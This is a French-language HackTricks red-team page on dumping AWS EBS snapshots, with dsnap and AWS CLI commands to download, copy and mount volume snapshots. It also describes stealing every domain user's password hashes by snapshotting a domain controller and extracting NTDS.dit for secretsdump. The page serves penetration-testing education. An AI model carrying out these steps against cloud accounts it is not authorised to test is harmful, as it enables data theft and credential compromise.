AWS - EBS Snapshot Dump

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Vérification d'un cliché localement

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

Note que dsnap ne vous permettra pas de télécharger des instantanés publics. Pour contourner cela, vous pouvez faire une copie de l'instantané dans votre compte personnel, et le télécharger :

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

Pour plus d'informations sur cette technique, consultez la recherche originale sur https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/

Vous pouvez le faire avec Pacu en utilisant le module ebs__download_snapshots

Vérification d'un instantané sur AWS

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

Montez-le dans une VM EC2 sous votre contrôle (il doit être dans la même région que la copie de la sauvegarde):

Étape 1: Un nouveau volume de la taille et du type de votre choix doit être créé en allant dans EC2 -> Volumes.

Pour pouvoir effectuer cette action, suivez ces commandes:

  • Créez un volume EBS à attacher à l'instance EC2.

  • Assurez-vous que le volume EBS et l'instance sont dans la même zone.

Étape 2: Sélectionnez l'option "attacher le volume" en cliquant avec le bouton droit sur le volume créé.

Étape 3: Sélectionnez l'instance dans la zone de texte de l'instance.

Pour pouvoir effectuer cette action, utilisez la commande suivante:

  • Attachez le volume EBS.

Étape 4: Connectez-vous à l'instance EC2 et répertoriez les disques disponibles en utilisant la commande lsblk.

Étape 5: Vérifiez si le volume contient des données en utilisant la commande sudo file -s /dev/xvdf.

Si la sortie de la commande ci-dessus montre "/dev/xvdf: data", cela signifie que le volume est vide.

Étape 6: Formatez le volume dans le système de fichiers ext4 en utilisant la commande sudo mkfs -t ext4 /dev/xvdf. Alternativement, vous pouvez également utiliser le format xfs en utilisant la commande sudo mkfs -t xfs /dev/xvdf. Veuillez noter que vous devez utiliser soit ext4, soit xfs.

Étape 7: Créez un répertoire de votre choix pour monter le nouveau volume ext4. Par exemple, vous pouvez utiliser le nom "newvolume".

Pour pouvoir effectuer cette action, utilisez la commande sudo mkdir /newvolume.

Étape 8: Montez le volume dans le répertoire "newvolume" en utilisant la commande sudo mount /dev/xvdf /newvolume/.

Étape 9: Changez de répertoire vers le répertoire "newvolume" et vérifiez l'espace disque pour valider le montage du volume.

Pour pouvoir effectuer cette action, utilisez les commandes suivantes:

  • Changez de répertoire vers /newvolume.

  • Vérifiez l'espace disque en utilisant la commande df -h .. La sortie de cette commande devrait montrer l'espace libre dans le répertoire "newvolume".

Vous pouvez faire cela avec Pacu en utilisant le module ebs__explore_snapshots.

Vérification d'un instantané dans AWS (en utilisant la ligne de commande)

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
├─xvdh1  202:113  0  7.9G  0 part
├─xvdh14 202:126  0    4M  0 part
└─xvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

Copie d'ombre

Tout utilisateur AWS possédant l'autorisation EC2:CreateSnapshot peut voler les hachages de tous les utilisateurs de domaine en créant un instantané du contrôleur de domaine, en le montant sur une instance qu'ils contrôlent et en exportant les fichiers NTDS.dit et SYSTEM du registre pour une utilisation avec le projet secretsdump d'Impacket.

Vous pouvez utiliser cet outil pour automatiser l'attaque : https://github.com/Static-Flow/CloudCopy ou vous pourriez utiliser l'une des techniques précédentes après avoir créé un instantané.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour